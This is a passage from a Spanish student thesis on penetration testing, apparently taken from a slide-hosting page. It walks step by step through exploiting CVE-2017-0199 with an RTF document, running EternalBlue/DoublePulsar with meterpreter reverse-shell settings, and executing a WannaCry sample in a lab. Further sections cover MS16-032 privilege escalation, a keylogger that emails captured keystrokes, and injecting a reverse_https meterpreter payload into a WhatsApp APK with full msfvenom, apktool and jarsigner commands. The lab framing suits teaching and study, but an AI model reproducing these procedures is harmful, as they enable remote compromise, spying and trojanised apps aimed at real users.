  • 58. 57 8.4.1.4 Metasploit Pro En octubre de 2010, Rapid7 añadio Metasploit Pro, de código abierto para pruebas de penetración. Metasploit Pro incluye todas las características de Metasploit express y añade la exploración y explotación de aplicaciones web. 8.4.1.5 Armitage Herramienta de gestión grafica para ciberataques del Proyecto Metasploit, ayuda a la visualización y recomienda métodos de ataque. Es una herramienta para ingenieros en seguridad web y es de código abierto. Permite sesiones compartidas, datos y comunicación a través de una única instancia Metasploit. 8.4.2 Veil Es una herramienta diseñada para generar payloads para metasploit con capacidad para no ser detectados por la mayoría de las soluciones antivirus. 8.4.3 Prueba de explotación: CVE – 2017-0199 Para poner a prueba la seguridad del sistema decidimos atacar la vulnerabilidad CVE – 2017 – 0199 que permite a un atacante remoto abrir un backdoor en el paquete Microsoft Office. Para llevar a cabo la explotación es necesario: • Una distribución Linux • Veil-evasion • Htattack • Metasploit Los pasos a seguir durante el proceso de explotación son los siguientes: 1-. Creamos con el comando touch un documento de office (*.docx, *.doc, etc.) y lo situamos en la carpeta del servicio apache2 (/var/www/html). Imagen 8.20 Creacion del archivo informacion.doc en /var/www/html
  • 59. 58 2-. Con Veil-evasion, seleccionamos uno de los 51 payloads disponibles, en mi caso seleccioné el número 30, al tener el meterpreter y poder ser ofuscado fácilmente con Pyherion 2.1-. Una vez seleccionado, con el comando “set” modificamos los valores LHOST, LPORT (solo si deseamos que escuche por otro puerto) y el USE_PYHERION (si usamos un exploit de pyhton). Imagen 8.21 Configuracion del payload, el handler y el meterpreter con Veil-evassion 2.2-. Acto seguido, con el comando “generate”, generamos el payload. Nos será solicitado un nombre para el payload y el ofuscador deseado. El nombre del payload es irrelevante pero el ofuscador es aconsejable dejar la opción por defecto.
  • 60. 59 Imagen 8.22 Nombre del payload Imagen 8.23 Obfuscación del payload 3-. Vamos a la carpeta (/var/lib/veil-evasion/output/compiled/) y copiamos el payload de esa carpeta a (/var/www/html)
  • 61. 60 Imagen 8.24 Carpetas contenedoras de los payload, handler y meterpreter 4-. Iniciamos el servicio de apache2. 5-. En una maquina con Windows y Microsoft Office, abrimos un documento de Word y en la pestaña “Insertar” le indicamos que deseamos insertar un objeto desde un archivo. Insertamos la dirección al documento Word de apache y marcamos la casilla “Vincular al archivo”. Damos a aceptar para cerrar la pestaña y guardamos el documento con formato RTF. Imagen 8.25 Insertamos el objeto
  • 62. 61 Imagen 8.26 Elegimos el documento a insertar Imagen 8.27 Guardamos el documento en formato RTF 6-. Abrimos con el bloc de notas el documento RTF y buscamos “obj”. Entre object y objautlink insertamos objupdate. Guardamos los cambios y salimos.
  • 63. 62 Imagen 8.28 Abrimos el documento RTF con el bloc de notas Imagen 8.29 Buscamos la palabra clave ‘obj’ Imagen 8.30 Buscamos la palabra clave ‘obj’ Imagen 8.31 Entre object y objautlink añadimos objupdate 7-. Paramos el servicio apache2 e iniciamos htattack con el siguiente comando Python htattack.py -u <url_al_payload>.
  • 64. 63 Imagen 8.32 Descargamos htattack Imagen 8.33 Paramos el servicio apache 2 e iniciamos htattack 8-. Vamos a la carpeta /var/lib/veil-evasion/output/handlers y con el comando msfconsole -r <nombre_handler>.rc lo iniciamos. Imagen 8.34 Inicamos el handler para permanecer a la escucha
  • 65. 64 9-. Volvemos a la maquina Windows y abrimos el documento rtf con Word. Nos preguntará si deseamos que el archivo actualice por red el objeto incrustado, si todo ha ido bien, dará igual la respuesta, el troyano ya estará en el equipo. Se ha realizado la explotación. Por desgracia, en mi prueba tanto en sistemas Windows 10 de 32 bits, con en 64 bits dicha penetración no tuvo el éxito. Esto puede ser debido a que la vulnerabilidad fue descubierta a mediados de abril de 2017 y hoy ya está parcheada desde inicios de mayo. Como Windows 10 es auto actualizable y en W7, con actualizaciones desactivadas, la prueba también fue infructuosa., decidimos probar con los exploits de la NSA, obtenidos por Shadow Broker, EternalBlue y DoublePulsar. 8.4.4 EternalBlue y DoublePulsar EternalBlue aprovecha una vulnerabilidad en la implementacion del protocolo Server Message Block (SMB) de Microsoft. Esta vulnerabilidad, denotada como CVE-2017-0144 en el catálogo Common Vulnerabilities and Exposures (CVE), se debe a que la version 1 del servidor SMB (SMBv1) acepta en varias versiones de Microsoft Windows paquetes específicos de atacantes remotos, permitiéndoles ejecutar código en el ordenador en cuestión. Los pasos a seguir para realizar una infección con EternalBlue y DoublePulsar son los siguientes: 1-. Abrimos alguna de las variantes de Metasploit, en mi caso msfconsole, y buscamos el scanner auxiliar alojado en auxiliary/Windows/smb/smb_ms17_010. Con el comando use y el nombre entramos en la pantalla de configuración. 2-. Configuramos el scanner con la dirección IP de la víctima, en nuestro caso 192.168.91.145, para ello usamos el comando “set RHOSTS <ip-de-la(s)- victima(s)>”. Una vez finalizado, ejecutamos el comando exploit, o algún otro que realice la misma función (run, rerun, etc.) 3-. Cuando nos aparezca el resultado, sabremos si nuestra víctima es, o no, vulnerable al exploit EternalBlue y DoublePulsar. De ser vulnerable, procedemos a descargar el exploit, enlace en la Bibliografia.
  • 66. 65 4-. Una vez descargado, copiamos el exploit, será el fichero llamado Eternalblue_Doublepulsar.rb en la carpeta donde se almacenan las librerías de Metasploit, /usr/share/metasploit-framework/modules/exploits/Windows/smb. Volvemos a msfconsole y realizamos un “Reload_all” que recheckeara la base de datos de exploits y herramientas. 5-. Con el comando search de msfconsole buscaremos el exploit. Una vez localizado, le indicaremos a msfconsole con el comando use que lo utilice y pasaremos a configurarlo. 6-. Setearemos el RHOST con la ip de la víctima, LHOST con la ip nuestra, LPORT con el puerto que queremos usar para recibir los del exploit, el PAYLOAD con Windows/x64/meterpreter/reverse_tcp, el PROCESSINJECT como explorer.exe, y DOUBLEPULSARPATH y ETERNALBLUEPATH con la dirección de descarga de la carpeta del exploit y, dentro de esta, la carpeta /deps. En mi caso, fue algo asi: - Set RHOST 192.168.91.145 - Set LHOST 192.168.91.143 - Set LPORT 4444 - Set PAYLOAD Windows/x64/meterpreter/reverse_tcp - Set PROCESSINJECT explorer.exe - Set DOUBLEPULSARPATH ~/Desktop/EternalBlue-DoublePulsar- Metasploit/deps - Set ETERNALBLUEPATH ~/Desktop/EternalBlue-DoublePulsar- Metasploit/deps 7-. Para finalizar la explotación, ejecutaremos el comando “exploit”, el cual iniciará el proceso de explotación y nos generará una consola reversa con privilegios de usuario común. 8-. Si deseáramos comprobar nuestra penetración podríamos ejecutar en la consola del meterpreter los comandos getuid y sysinfo. Si intentáramos realizar un comando para el cual se requiriesen privilegios elevados como getsystem, por ejemplo, se nos notificaría un fallo al intentar realizar una tarea sin los privilegios adequados.
  • 67. 66 En este enlace podremos ver el proceso realizado de manera práctica: https://www.youtube.com/watch?v=ivnv7QiwmhU
  • 68. 67 8.5 Post-Explotación En esta fase, una vez ya hemos obtenido el acceso y el control del sistema, cosas que se obtienen en la fase de explotación, procedemos al robo de credenciales, a mantener el acceso aun cuando la maquina se apague o reinicie, a realizar ataques a terceros, etc. Las herramientas de post-explotación son múltiples dependiendo lo que queramos obtener. Tanto se puede usar la simple consola de comandos para robar información como infectar el sistema con (Virus, Troyanos, Ransomware, etc.). En nuestro caso probaremos como se expande por la red el famoso ransomware WannaCry. Para ello, variaremos el laboratorio, cambiando el Windows 10 (debido a las actualizaciones automáticas de Windows 10, dicho ransomware no llegó a cifrar ningún archivo) por Windows Server 2012 y añadiendo un Windows 7. 8.5.1 Ransomware Wannacry Para montar dicho laboratorio fueron necesarias las siguientes herramientas: • Maquina virtual con Windows 7 • Maquina virtual con Windows Server 2012 • Maquina virtual con una distribución Linux con Wireshark (en nuestro caso, Kali Linux) • Telegram en la maquina Windows Server 2012 Para evitar males mayores se configuraron las maquinas con interfaz de red en red interna e interconectadas entre ellas, pero no con el quipo host. Las IP’s de cada máquina durante la prueba son: • Windows Server 2012 -> 192.168.91.133 • Windows 7 -> 192.168.91.131 • Kali Linux -> 192.168.91.130 Lo primero que hicimos fue descargar una muestra de dicho ransomware. Para ello, fuimos al canal de Telegram x000’s Channel y nos descargamos la muestra existente.
  • 69. 68 Imagen 8.35 Descargamos el ransomware Acto seguido, tal y como muestra, la imagen, lo descomprimimos. Nos quedará un archivo WannaCry.INFECTED, lo renombramos por WannaCry.exe y lo ejecutamos. Imagen 8.36 Extraemos el zip y renombramos wannacry.infected por wannacry.exe Imagen 8.37 Archivos creados por wannacry al ejecutarse Tras iniciarlo, como se ve en la imagen 6.29, veremos que crea multitud archivos que suponemos son necesarios para su funcionamiento. Como se aprecia, dichos documentos, tienen extensión .wnry, una de las usadas por el propio ransomware, lo que nos dificultará saber cuál es su contenido. Al poco tiempo, empezará a cifrar, los archivos y la carpeta donde antes teníamos nuestros documentos quedará cifrada. Cuando dicho proceso termine, se nos cambiará el fondo de pantalla del escritorio y nos aparecerá un cartel
  • 70. 69 informándonos del secuestro de nuestros archivos y del pago a realizar antes de que se elimine la clave privada que, supuestamente, descifrará nuestros archivos. Imagen 8.38 Continuan creandose archivos
  • 71. 70 Imagen 8.39 Archivos cifrados por wannacry Imagen 8.40 Cambio de fondo automatico por wannacry
  • 72. 71 Imagen 8.41 Aviso de peticion de pago de wannacry En la carpeta compartida con Windows 7, veremos que también se cifran los datos. En las diversas horas que llegué a dejar el experimento funcionando, solo fue capaz de cifrar la carpeta compartida entre ambos Windows. Imagen 8.42 Ciframiento de archivos en la carpeta compartida 8.5.2 MS16-032 La vulnerabilidad MS16-032 se trata de una vulnerabilidad que podría permitir la elevación de privilegios si el servicio de inicio de sesión secundario de Windows falla al administrar correctamente los identificadores de solicitud en la memoria.
  • 73. 72 Para llevar a cabo esta fase de post-explotación, es necesario ya tener previamente acceso al sistema, ya sea de manera remota o local, así que supondremos que se realiza acto seguido a la fase de explotación. Para el laboratorio, realmente, da igual el orden, pero en un caso real, lo más probable, es que lo primero que realizaríamos sería un proceso de post-explotación que nos permitiese mantener el acceso, aunque el equipo se apagara, se suspendiera o reiniciase. Las fases para obtener el aumento de privilegios son las siguientes: 1-. Con el comando msfvenom codificamos, en un .exe, una consola reversa tcp y la guardamos en nuestra carpeta. 2-. Utilizando el meterpreter (m1), con el comando upload, subiremos el meterpreter (m2), al equipo infectado. 3-. Buscamos el exploit ms16-032, podremos conseguirlo de Internet o desde la base de datos local de exploitdb, en Kali Linux, y lo copiamos en la carpeta /tmp. 4-. Con un editor de texto, buscamos en exploit las líneas que hacen referencia al ejecutable de CMD y lo modificamos por la ruta, en el ordenador de la víctima, donde hemos dejado el meterpreter (m2) que subimos anteriormente. 5-. En el meterpreter (m1), cargaremos el módulo Powershell y, a continuación, haremos un Powershell_import para importar el exploit. 6-. En una consola aparte, ejecutaremos otra instancia de msfconsole y usaremos el auxiliary/multi/handler. Configuraremos los valores de LHOST, LPORT y PAYLOAD, para que coincidan con los del meterpreter (m2) y, seguidamente, haremos un comando run para que inicie su ejecución. 7-. Ejecutaremos en el meterpreter (m1), el comando Powershell_execute para ejecutar el exploit importado. Nos aparecerá una pantalla y podremos ver que en el handler nos ha aparecido una nueva consola reversa de meterpreter (m3). Si realizamos los mismos comandos de antes, getuid y sysinfo, ya debería informarnos de que tenemos privilegios de SYSTEM. A partir del minuto 13:17, podremos ver en el siguiente enlace el video de la fase de post-explotacion: https://www.youtube.com/watch?v=ivnv7QiwmhU
  • 74. 73 9 Penetration Testing en Linux Debido a falta de material para montar el laboratorio para Linux y a retrasos y necesidades de tiempo de mis compañeros Javier Boix y David Romero, me ha sido imposible llegar a cabo las pruebas de penetración en Linux.
  • 75. 74 10 Conclusiones Bien, llegados a este punto podemos comentar algunas cosas sobre seguridad. Tras todas las pruebas realizadas, y con la experiencia que me llega, puedo afirmar unas cuantas cosas: • Es cierto, que toda posibilidad de brecha es peligrosa pero aun así no todas tienen la misma peligrosidad. Así podemos ver, que con MS17-0199 las posibilidades de penetración, aunque sencillas de llevar a cabo, no siempre son tan efectivas como pudiera parecer. • Conviene tener el sistema operativo y las aplicaciones actualizadas. • La descarga de aplicaciones debe de hacerse desde sitios legales y de confianza • Cabe desconfiar de todas aquellas ofertas que sean demasiado buenas para ser ciertas • Cada vez que abandonemos nuestro lugar de trabajo conviene recordar la política de mesas limpias • Vigilar que cuando escribamos nuestras contraseñas en páginas relevantes (bancos, redes sociales, etc.) no haya nadie vigilando por los alrededores. • No aceptar las solicitudes de amistad o seguimiento en las redes sociales de personas extrañas. • Usar diferentes contraseñas para cada servicio y asegurarse de que sean seguras • No seguir enlaces, ni descargar elementos extraños de emails. Cierto es que ningún sistema es seguro al 100%, aunque hubiera estado bien probarlo en Linux para demostrarlo, pero eso no quiere decir que todos sean igual de inseguros. Para tener en cuenta una cosa, Microsoft, en todo su esplendor, saca actualizaciones, habitualmente, de seguridad y mejoras secundarias, cada segundo martes de cada mes, esto quiere decir que una vulnerabilidad descubierta el segundo miércoles del mes tardará, aproximadamente, un mes en solucionarse, o dicho de un modo más profesional, el 0-day será parcheado en 30 días. Los sistemas libres, o semi-libres, tardan en corregir sus vulnerabilidades el tiempo que tarda la comunidad en enterarse desde que se publica dicha vulnerabilidad en CVE hasta que la publican, que en la mayoría de los casos suele ser un periodo inferior a 48 horas.
  • 76. 75 11 Bibliografía Allen, L. and Cardwell, K. (2016). Advanced Penetration Testing for Highly- Secured Environments - Second Edition. 1st ed. Birmingham: Packt Publishing, Limited. Allen, L., Heriyanto, T. and Ali, S. (2014). Kali Linux - assuring security by penetration testing. 1st ed. Birmingham, UK: Packt Pub. Balapure, A. (2013). Learning Metasploit exploitation and development. 1st ed. Birmingham, UK: Packt Pub. Cardwell, K. (2014). Building virtual pentesting labs for advanced penetration testing. 1st ed. Birmingham, UK: Packt Pub. Dregier, L. (2017). Free Penetration Testing and Ethical Hacking Training Course - Cybrary. [online] Cybrary. Available at: https://www.cybrary.it/course/ethical-hacking/ [Accessed 19 May 2017]. Kalsi, T. (2016). Practical Linux security cookbook. 1st ed. Birmingham (Gran Bretaña): Packt Publishing. Pompilio, D. (2017). Free Online Metasploit Training - Cybrary. [online] Cybrary. Available at: https://www.cybrary.it/course/metasploit/ [Accessed 19 May 2017]. Weidman, G. (2017). Free Advanced Penetration Testing Training Class from Cybrary. [online] Cybrary. Available at: https://www.cybrary.it/course/advanced-penetration-testing/ [Accessed 19 May 2017]. Willie L. Pritchett. David De Smet. (2013). Kali Linux Cookbook. 1st ed. Packt Publishing.
  • 77. 76 Kreponic, E. (2017). Build an Advanced Keylogger using C++ for Ethical Hacking!. [online] Udemy. Available at: https://www.udemy.com/how-to- create-an-advanced-keylogger-from-scratch-for- windows/learn/v4/overview [Accessed 29 May 2017]. Alvarez, X. (2017). [image] Available at: https://www.youtube.com/watch?v=0lDvclMrymM [Accessed 30 May 2017]. Seguridad en Sistemas y Técnicas de Hacking. TheHackerWay (THW). (2017). Cómo inyectar malware en una aplicación Android legítima.. [online] Available at: https://thehackerway.com/2017/05/22/malware- apk-android/ [Accessed 30 May 2017]. YouTube. (2017). Hacking Windows 7 using EternalBlue & DoublePulsar via Metasploit on Kali Linux 2017. [online] Available at: https://www.youtube.com/watch?v=wDAkiXxm1gE [Accessed 13 Jun. 2017]. YouTube. (2017). PLaying with eternalblue. [online] Available at: https://www.youtube.com/watch?v=JuhwoCNuiPo [Accessed 13 Jun. 2017]. YouTube. (2017). Privilege escalation in Windows 7-8-10 x86/x64. [online] Available at: https://www.youtube.com/watch?v=74EKxv6KxAg [Accessed 13 Jun. 2017].
  • 78. 77 12 Anexos 12.1 Anexo A: Desarrollo de un Keylogger en C++ Durante el desarrollo de este proyecto también aprendí como se desarrolla un famoso spyware, los Keyloggers. Para quien no conozca que es un Keylogger, según Wikipedia, es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de internet. Como IDE de desarrollo decidimos utilizar CodeBlocks. Nuestro Keylogger consta de 8 archivos (7 headers y un main): • Base64 • Helper • IO • KeybHook • KeyConstants • SendMail • Timer • Main 12.1.1 Base64 El archivo Base64 es el encargado de cifrar las capturas almacenadas para que cuando sean enviadas por mail o mientras se almacenan en el ordenador de la víctima no puedan ser descubiertas.
  • 79. 78 Imagen 12.1 Base64 Parte 1 Imagen 12.2 Base64 Parte 2 12.1.2 Helper Con este header, conseguimos varias cosas que podríamos llamar “esenciales” pues, este header, entre sus funciones, se encuentra la creación de los archivos de log, la conversión de los datos manejados por el Keylogger a tipo String, y la creación y manejo de fechas.
  • 81. 80 Imagen 12.4 Helper Parte 2 Imagen 12.5 Helper Parte 3 12.1.3 IO El Header IO, se encarga de gestionar el almacenamiento (creación de archivos y carpetas) donde se almacenarán los datos recopilados por el Keylogger.
  • 82. 81 Imagen 12.6 IO Parte 1
  • 83. 82 Imagen 12.7 IO Parte 2 12.1.4 KeybHook Si hay un fichero encargado de detectar las pulsaciones del usuario, es esté. Se encarga de recopilar las pulsaciones de teclado y ratón por el usuario y transmitírselas al header IO para que las cifre en Base64 y las almacene en el archivo correspondiente.
  • 84. 83 Imagen 12.8 KeybHook Parte 1 Imagen 12.9 KeybHook Parte 2
  • 85. 84 Imagen 12.10 KeybHook Parte 3 Imagen 12.11 KeybHook Parte 4 12.1.5 KeyConstants El header KeyConstants se dedica a traducir las señales de las pulsaciones del teclado al “lenguaje humano”.
  • 86. 85 Imagen 12.12 KeyConstants 12.1.6 SendMail Aquí, para evitar tener que instalar aplicaciones extra, el header SendMail llama a una instancia de PowerShell que, con el código adecuado, insertado en un script, permite el envío de emails por Gmail.
  • 87. 86 Imagen 12.13 SendMail Parte 1 Imagen 12.14 SendMail Parte 2
  • 88. 87 Imagen 12.15 SendMail Parte 3 Imagen 12.16 SendMail Parte 4
  • 89. 88 Imagen 12.17 SendMail Parte 5 12.1.7 Timer El Keylogger necesita, cada cierto tiempo, enviar los datos, comprobar que está en funcionamiento, etc. Para ello hemos implementado el header Timer que se encarga de gestionar el tiempo y de que los procesos entren en funcionamiento cada vez que son necesarios. Imagen 12.18 Timer Parte 1
  • 90. 89 Imagen 12.19 Timer parte 2 Imagen 12.20 Timer Parte 3
  • 91. 90 12.2 Anexo B: Inyección de código malicioso en .APK de Android Actualmente, cada vez más, los dispositivos móviles están ocupando más cuota de mercado. Si a eso sumamos el cada vez mas demandado por las empresas y empleados BYOD o BYOT (Bring Your Own Device/Technology) podemos encontrarnos con graves brechas de seguridad, que pueden afectarnos económica y reputacionalmente hablando, en nuestras redes informáticas “seguras”. Sabemos que ningún dispositivo es 100% seguro, los móviles u smartphones tampoco. Para demostrarlo hemos inyectado malware en una aplicación de Android. Aquí explicamos el proceso. 1-. El primero de los pasos será con msfvenom crear una app maliciosa con una consola reverse https. El comando para generarla es el siguiente: msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o /home/adastra/meterpreter.apk 2-. Descargamos la aplicación en la que deseemos inyectar el código y la descompilamos con la aplicación apktool. Imagen 12.21 Decompilacion de com.whatsapp.apk
  • 92. 91 3-. Descompilamos también la aplicación creada por nosotros y añadimos la carpeta metasploit (residida en /smali) a la carpeta /smail de la aplicación descargada 4-. Buscamos la función main, en el archivo de mismo nombre, de la aplicación descargada e insertamos la siguiente línea debajo: invoke-static {p0}, Lcom/metasploit/stage/Payload;- >start(Landroid/content/Context;)V 5-. Modificamos en el manifest.xml los permisos de la aplicación para que coincidan con los permisos requeridos por el código malicioso. Deberían tener, al menos, los siguientes: Imagen 12.22 Permisos requeridos por el payload 6-. Volvemos a compilar la aplicación con la apktool: apktool b original/originalDecompiled/ 7-. Finalmente, ya para acabar, firmamos la aplicación con el comando jarsigner: jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android - keypass android -digestalg SHA1 -sigalg MD5withRSA original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey 12.3 Anexo C: Extraer metadatos de una imagen A veces, para realizar algunos ataques de ingeniería social se requieren datos sobre intereses, lugares visitados, familia y amigos, entre otros. Gracias a la gran popularidad de las redes, mucha de esta información puede ser encontrada fácilmente. ¿Pero qué pasa cuando vemos una imagen y no reconocemos la ubicación? ¿Y si queremos saber cuál fue la cámara con la que se realizó la imagen?
  • 93. 92 Aunque parezca mentira, todos esos datos y más pueden ser recolectados gracias a un pequeño fragmento de código, lo cual nos facilita muchísimo las tareas que queramos llevar a cabo. Un ejemplo de código que nos ayudará a extraer los metadatos de las imágenes es el siguiente: Imagen 12.23 Extractor de metadatos en Python
  • 94. 93